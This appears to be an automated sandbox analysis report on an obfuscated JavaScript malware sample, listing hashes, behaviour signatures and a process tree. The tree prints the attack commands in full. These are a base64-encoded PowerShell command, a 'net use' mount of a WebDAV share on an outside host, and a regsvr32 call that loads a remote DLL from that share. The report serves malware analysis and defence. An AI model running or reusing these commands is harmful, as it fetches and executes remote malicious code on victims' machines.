Analysis
-
max time kernel
121s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
21-08-2024 15:21
Static task
static1
Behavioral task
behavioral1
Sample
36f426d73a21fafbb38c0250e327cefcad979cc07f33fa3c93410ccff3f839f1.js
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
36f426d73a21fafbb38c0250e327cefcad979cc07f33fa3c93410ccff3f839f1.js
Resource
win10v2004-20240802-en
General
-
Target
36f426d73a21fafbb38c0250e327cefcad979cc07f33fa3c93410ccff3f839f1.js
-
Size
13KB
-
MD5
e83d664a636e02032bc38a6ad7d9fa66
-
SHA1
efdb7f6cd6a4f14ea2dbf20652ce7a3a9de48059
-
SHA256
36f426d73a21fafbb38c0250e327cefcad979cc07f33fa3c93410ccff3f839f1
-
SHA512
f1a1e5a3e0c8249580a4c230461474f2a996b6fc9d532a6112009fd08ad6e7cd43b6fc682124a0a5742b393e3f5bd564a430ce4eac6a1e4a919573033a4c43b8
-
SSDEEP
384:ymSITd1N6CFkOJkV6zgdZCfsjZm/UlhlHgsJ1mY9JEBgT:y2FNE3T
Malware Config
Signatures
-
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2096 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2096 powershell.exe -
Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 1940 wrote to memory of 2096 1940 wscript.exe 30 PID 1940 wrote to memory of 2096 1940 wscript.exe 30 PID 1940 wrote to memory of 2096 1940 wscript.exe 30 PID 2096 wrote to memory of 2768 2096 powershell.exe 32 PID 2096 wrote to memory of 2768 2096 powershell.exe 32 PID 2096 wrote to memory of 2768 2096 powershell.exe 32 PID 2096 wrote to memory of 2624 2096 powershell.exe 33 PID 2096 wrote to memory of 2624 2096 powershell.exe 33 PID 2096 wrote to memory of 2624 2096 powershell.exe 33 PID 2096 wrote to memory of 2624 2096 powershell.exe 33 PID 2096 wrote to memory of 2624 2096 powershell.exe 33
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\36f426d73a21fafbb38c0250e327cefcad979cc07f33fa3c93410ccff3f839f1.js1⤵
- Suspicious use of WriteProcessMemory
PID:1940 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADkANwAzADMAMQAzADIANwA0ADIAOQA5ADQAOQAuAGQAbABsAA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2096 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\3⤵PID:2768
-
-
C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\297331327429949.dll3⤵PID:2624
-
-